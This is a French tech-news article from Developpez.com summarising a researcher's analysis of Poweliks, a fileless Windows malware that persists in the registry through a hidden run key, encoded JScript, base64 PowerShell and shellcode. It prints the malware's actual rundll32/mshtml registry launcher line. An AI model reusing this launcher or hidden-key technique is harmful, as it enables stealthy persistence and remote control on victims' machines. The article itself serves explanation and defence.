IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Poweliks : Un malware persistant sans fichier,
Une toute nouvelle approche dans la conception d'un virus

Le , par LittleWhite

0PARTAGES

Nous savons tous, les antivirus scannent des fichiers. En effet, les virus ont l'habitude d'être présent sur le système sous la forme d'un fichier, il était donc logique que les antivirus scannent les fichiers pour rechercher ceux-ci. Mais, voici un malware qui change complètement la donne.
Poweliks est un virus qui réside dans la base de registre de Windows. Il est persistant, car, en effet, il est sauvegardé (contrairement à un virus en mémoire vive, qui serait supprimé après un redémarrage). Voici comment il fonctionne :
  • son point d'entrée est semblable à n'importe quel autre logiciel malveillant : un document Word malicieux diffusé par courriel. Il exploite une faille de Microsoft Word et ainsi, créé une clé dans la base de registre ;
  • la clé se trouve dans une section permettant d'être réactivée à chaque redémarrage. Pour ne pas être détectée, elle est cachée/obfusquée ;
  • le décodage de la clé permet de découvrir deux aspects : la code s'assure que le système possède Microsoft PowerShell d'installé et un code supplémentaire ;
  • le code additionnel est un script PowerShell encodé en Base 64 qui appel et exécute le shellcode (assembleur) ;
  • dernière étape, le shellcode exécute un binaire. Dans le cas analysé, le binaire essaie de se connecter à une adresse IP présente en dure pour recevoir de nouvelles commandes (contrôle à distance), mais l'attaquant peut très bien déclencher n'importe quelle autre action ;
  • toutes les activités sont stockées dans la base de registre. Il n'y a toujours aucune fichier de créé.


Pour se protéger d'une telle attaque, les développeurs d'antivirus devraient bloquer le fichier Word avant exécution (ou avant la réception dans la messagerie), ou encore, ils devraient détecter l'utilisation de la faille de Word durant l'exécution ou pour finir surveiller la base de registre d'un comportement suspect et bloquer le processus correspondant.

Analyse

Pour que Poweliks soit persistant, il faut qu'il s'installe dans la base de registre et plus précisément, dans :
Au vu du caractère final, on peut sentir que les choses commencent bien.

La clé contient :
Code javascript : Sélectionner tout
1
2
3
4
5
runddl32.exe  javascript:"\..\mshtml,RunHTMLApplication"; 
document.write("<script language=jscript.encode>"+ 
	(new ActiveXObject("WScript.Shell")). 
	RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+ 
	"</script>")

Qui permet d'ouvrir et exécuter le contenu encodé de la clé :
\\HKCU\software\microsoft\windows\currentversion\run\(default)

Le caractère spécial utilisé à la fin de la clé initiatrice du lancement du logiciel malveillant permet de cacher la clé des logiciels d'administrations. Par exemple, Regedit (Outil par défaut de Windows pour la base de registre) ne peux lire les caractères non ASCII et donc, ne peut pas ouvrir la clé et l'utilisateur ne peux pas voir la clé.

Ensuite, pour l'exécution du code, la technique utilisée rappelle les poupées russes. Le code initial contient le code et l'exécute et ce code fait de même avec ce qui suit et ainsi de suite. On démarre avec du JScript, puis un script PowerShell puis un shellcode contenant le code malicieux de Poweliks.

Étape 1 (JScript)

La première étape est la clé de la base de registre, en JScript encodé :

La technique d'encodage provient de Microsoft qui protège ainsi son code source. Toutefois, un chercheur a trouvé comment décoder ce type de message permettant de découvrir que :
  • le script vérifie si PowerShell est installé. Dans le cas contraire, il le télécharge et l'installe ;
  • il exécute le code qui suit, stocké en base64.

Le code qui suit est évidemment un script PowerShell. Toutefois, PowerShell possède une protection bloquant l'exécution de script inconnu. Mais cela n'a pas suffit, car le créateur du virus fait croire à PowerShell que le script est exécuté en mode interactif et peut donc être exécuté sans que l'utilisateur le sache.

Étape 2 (PowerShell)

Le script PowerShell contient une variable stockant un shellcode en base64. Il utilise VirtualProtect() pour faire que la mémoire soit exécutable et CallWindowProcA() pour exécuter le shellcode.

Étape 3 (Shellcode assembleur)

Le shellcode alloue de la mémoire avec VirtualAlloc(), ce copie (lui et ses données) à l'adresse mémoire 0x1104 et exécute le code copié.
À l'adresse 0x1104 se trouve un code exécutable (entête MZ) avec deux chaines intéressantes : MPRESS1 et MPRESS2, provenant d'un compresseur d'exécutable : MPRESS.
Ce code se connecte à deux adresses IP au Kazakhstan pour recevoir des commandes. Au moment de l'analyse les IPs étaient inaccessibles.

Le malware est très puissant car il peut télécharger n'importe quel code et peut donc ce qu'il veut : espionnage, cheval de troie, vol, installation d'autres logiciels malveillants...

Conclusion

Poweliks est un puissant logiciel malveillant, dont la conception à ralenti la recherche et la compréhension du code. Elle expose une toute nouvelle technique où l'intégralité du logiciel est en mémoire tout en ayant la capacité de survivre aux redémarrages grâce à la base de registre. De plus, l'utilisation d'un caractère non ASCII empêche de très nombreux outils d'afficher la clé de registre, cachant ainsi le logiciel malveillant. Finalement, il peut démarrer n'importe quel logiciel sur un système infecté.

Votre opinion

Comment pensez-vous vous protéger de Poweliks ?
Que pensez-vous de ce niveau de sophistication dans les logiciels malveillants ?

Source

Analyse de Paul Rascagnères

Une erreur dans cette actualité ? Signalez-nous-la !